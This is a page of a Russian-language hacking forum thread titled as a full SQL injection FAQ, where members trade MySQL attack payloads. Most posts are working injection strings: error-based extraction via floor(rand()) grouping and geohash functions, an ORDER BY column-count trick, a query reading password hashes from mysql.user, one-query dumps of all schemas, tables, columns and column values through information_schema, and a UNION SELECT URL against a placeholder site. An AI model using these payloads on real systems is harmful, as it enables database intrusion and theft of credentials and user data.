Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. FuckGoogle

    FuckGoogle New Member

    Joined:
    18 Jan 2013
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    (select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHAR(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
     
  2. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    djkefir, palec2006 and psihoz26 like this.
  3. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Хочу добавить про подбор колонок в 1 запрос.

    В случае если sqli выводит ошибки и пэйлоад вида
    Code:
    *+order+by+100+--+
    выдаст нам ошибку
    Code:
    Query failed: Unknown column '100' in 'order clause'
    То сразу смело вставляем такой пэйлоад
    Code:
    +order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
    В ответ получим
    Code:
    Query failed: Unknown column '*' in 'order clause'
    Где '*'-1='колличество наших колонок'.
     
    totenkopf and InSys like this.
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Новый ветор вывода через ошибку в MySQL >= 5.7.5

    Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash().

    Подробнее
     
    1 person likes this.
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.

    Code:
    SELECT user, authentication_string FROM mysql.user;
     
    _________________________
    djkefir likes this.
  6. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.

    Вывод данных в один запрос:

    SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)

    Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.

    Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)


    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.columns)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@p),5))

    0x0D0A -> перевод строки, смотреть в "Исходный код страницы"
    Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.

    Ну далее частные случаи:

    Список бд(без пробелов!)


    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.schemata)WHERE@p:=CONCAT(@p,0x2C,schema_name)),@p),5))

    Список всех бд, таблиц(без пробелов!)

    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(information_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A,table_schema,0x3a,table_name)),@p),5))

    Список всех таблиц, колонок текущей бд(без пробелов!)

    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.columns)where(table_schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@p),5))

    Список таблиц текущей бд(без пробелов!)

    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.tables)where(table_schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table_name)),@p),5))

    Список колонок таблицы users(без пробелов!)

    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM((select*from(information_schema.columns)where(table_name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,column_name)),@p),5))

    ps помните, таблица users и в другой бд может быть, тогда добавить условие в where

    И напоследок значения с колонок(без пробелов!)

    SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{COLUMN2})),@p),5))
     
  7. djkefir

    djkefir New Member

    Joined:
    17 Dec 2010
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Может есть софт который проверяет параметры страницы на инъекцию?
    а то бывает что данные не выводятся, или ещё что-то такое.
     
  8. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    интересует вот что

    INFORMATION_SCHEMA.TABLES открывается вот таким способом
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --
    если кроме INFORMATION_SCHEMA на сайте есть
    bd1
    db2

    как их открыть?
     
  9. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    https://forum.antichat.ru/threads/43966/page-4#post-1227563
     
    psihoz26 likes this.
  10. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
  11. absolem

    absolem New Member

    Joined:
    26 Nov 2015
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Приветствую! А подскажите как правильно преобразоватть этот запрос с оператором LIMIT, что бы мне выводилось, к примеру, из COLUMN1,COLUMN2 только первые 5к записей, а не все сразу.
     
  12. InSys

    InSys Member

    Joined:
    2 Feb 2012
    Messages:
    24
    Likes Received:
    20
    Reputations:
    31
    Если вдруг кому будет интересно, немного о том почему вообще работает метод вывода данных в тексте ошибки Duplicate entry '[data]' for key 'group_key' вынес в отдельную статью:
    Error-Based SQL injection в MySQL

    И максимально сокращенный вектор этого метода выглядит теперь вот так:
    Code:
    SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)
     
    #252 InSys, 27 Dec 2015
    Last edited: 27 Dec 2015
  13. Coderast

    Coderast New Member

    Joined:
    26 Sep 2016
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Вопрос) Если в инъекции нельзя заюзать точку и тем самым не могу сделать например [...] SELECT * FROM INFORMATION_SCHEMA.TABLES [...] пробовал заюзать CHAR() но почему-то в названии таблицы не пашет